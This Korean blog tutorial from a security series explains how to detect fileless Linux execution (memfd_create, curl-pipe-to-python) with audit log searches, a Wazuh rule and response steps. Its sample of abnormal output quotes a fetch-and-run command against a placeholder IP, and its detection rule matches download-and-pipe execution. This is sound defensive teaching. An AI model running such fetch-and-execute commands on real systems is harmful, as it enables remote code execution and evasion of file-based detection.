264. 프로세스·지속성 — 메모리 전용 실행(fileless) 징후 탐지

changseop lee·2026년 10월 7일

시스템 보안 · 취약점

목록 보기
264/450

시스템 보안 · 취약점 › F. 비정상 프로세스 · 지속성 징후 · 14/50편 (전체 264/450)
학습 단계: 비정상 프로세스 징후
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.

선행 학습

1. 개념

삭제된 바이너리(F13)가 "실행 후 삭제"라면, fileless(메모리 전용 실행)는 처음부터 디스크에 파일을 만들지 않습니다. memfd_create로 익명 메모리 파일을 만들어 실행하거나, 인터프리터로 메모리에서 코드를 실행합니다.

메모리 전용 실행(fileless) 기법
 memfd_create: 익명 메모리 파일 생성 → 실행
   /proc/<pid>/exe -> /memfd:... (파일명 없음)
 인터프리터 메모리 실행: curl | python (디스크 미경유)
 ld.so 직접 로드: 메모리에 라이브러리 로드

특징: 디스크에 바이너리가 아예 없음 → 파일 탐지 완전 회피

fileless는 디스크 기반 탐지(파일 스캔·FIM)를 완전히 회피합니다. 프로세스 메모리·실행 방식으로만 탐지할 수 있습니다.

2. 왜 중요한가

  • fileless는 디스크에 파일이 없어 파일 스캔·FIM을 완전히 회피합니다.
  • memfd_create로 만든 익명 파일은 /memfd:로 표시되어 식별 가능합니다.
  • 다운로드+파이프 실행(curl|python)은 디스크를 경유하지 않는 fileless 패턴입니다.

3. 핵심 명령어 / 설정

fileless 기법지표위험
memfd_create/proc/*/exe -> /memfd:매우 높음
curl | python디스크 미경유높음
curl | sh메모리 실행높음
ld 직접 로드라이브러리 메모리높음
정상 디스크 실행파일 존재정상

4. 실습 (실습 예시)

# 메모리 전용 실행(fileless) 탐지 (분석 방법)
# memfd 익명 파일 실행 프로세스
ls -l /proc/*/exe 2>/dev/null | grep -E 'memfd:|/dev/shm'
# memfd_create 시스템 콜 감사(execve와 결합)
sudo ausearch -k proc_exec -i --start recent 2>/dev/null | grep -E 'memfd|exe=/memfd' | tail
# 다운로드+파이프 실행(디스크 미경유)
sudo ausearch -k proc_exec -i --start recent 2>/dev/null | grep -oE 'proctitle=.*(curl|wget).*\|.*(python|sh|bash|perl).*'

5. 정상 상태

$ (memfd 실행) (없음)
$ (다운로드+파이프) (없음)

모든 프로세스가 디스크의 실제 바이너리로 실행되고, memfd·다운로드+파이프 실행이 없는 상태가 정상입니다.

6. 이상 상태

$ (memfd 실행)
/proc/3200/exe -> /memfd:A (deleted)
$ (다운로드+파이프)
proctitle="sh -c curl http://192.0.2.88/p | python3"
  • /memfd: 익명 메모리 파일 실행 → fileless(디스크 흔적 전무)
  • curl | python3 → 다운로드 코드를 메모리에서 바로 실행(디스크 미경유)
  • 메모리 전용 실행 → 완전 회피 악성 → 정탐

7. 로그 분석 (분석 방법)

메모리 전용 실행 분석입니다(가상의 예시).

[기법1 memfd]
 memfd_create() → 메모리 파일 → execve
 /proc/<pid>/exe -> /memfd:A (디스크에 없음)
[기법2 파이프]
 curl http://.../p | python3 (코드가 디스크 안 거침)
 → 둘 다 파일 스캔·FIM 완전 회피
기법지표
memfd/memfd: exe
파이프 실행curl|python
공통디스크 파일 없음

디스크에 파일이 없으므로 프로세스 메모리·실행 방식으로만 탐지합니다.

8. SOC 관제 포인트

  • fileless(메모리 전용 실행)는 디스크에 파일을 만들지 않아 파일 탐지를 완전 회피합니다.
  • memfd_create(/memfd: exe)·다운로드+파이프 실행(curl|python)이 핵심 패턴입니다.
  • 프로세스 메모리·실행 방식(execve·memfd 감사)으로만 탐지 가능합니다.

9. 탐지 규칙

<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_f,process,">
  <!-- 다운로드+파이프 메모리 실행(fileless) -->
  <rule id="105130" level="14">
    <if_sid>105010</if_sid>
    <field name="audit.proctitle" type="pcre2">(curl|wget)\s+\S+\s*\|\s*(python[0-9.]*|perl|ruby|sh|bash)|memfd_create|/memfd:</field>
    <description>메모리 전용 실행(fileless·memfd·파이프 실행)</description>
    <mitre><id>T1620</id><id>T1059</id></mitre>
  </rule>
</group>

memfd 실행은 주기 점검(/proc/*/exe)·EDR로, 파이프 실행은 execve proctitle로 탐지합니다. fileless는 EDR 보완이 유효합니다.

10. 대응 방법

  1. 초기 확인 — memfd·다운로드+파이프 실행·/memfd: exe 프로세스를 확인합니다.
  2. 범위 확인 — 디스크 파일 부재·메모리 실행 방식·계보를 확인합니다.
  3. 증거 확보 — 프로세스 메모리 덤프·실행 로그를 보존합니다.
  4. 차단/조치 — fileless 정탐이면 프로세스 종료(덤프 후)·C2 차단·IOC 등록을 진행합니다.
  5. 재발 방지 — 메모리 전용 실행 탐지를 EDR과 함께 운영합니다.

11. 핵심 정리

fileless 기법지표
memfd_create/memfd: exe
curl | python디스크 미경유
curl | sh메모리 실행
공통디스크 파일 없음
면접 포인트"fileless는 디스크 파일 없음 — memfd·파이프 실행, 메모리·실행 방식으로만 탐지"

12. 다음 편 예고

다음 편 265. 프로세스·지속성 — 단기 실행·반복 실행 프로세스 탐지 에서는 단기·반복 실행 프로세스를 다루는 단기 실행·반복 실행 프로세스 탐지를 다룹니다.


이전 편: 263. 프로세스·지속성 — 삭제된 바이너리 실행(deleted binary) 탐지
📚 시리즈 전체 보기: 시스템 보안 · 취약점

profile
코드에 숨겨진 위협을 읽고 AI로 보안의 미래를 설계합니다. 프론트엔드 개발 경험을 자산 삼아 더 견고하고 지능적인 보안 운영 시스템을 구축해 나가는 과정을 기록합니다

0개의 댓글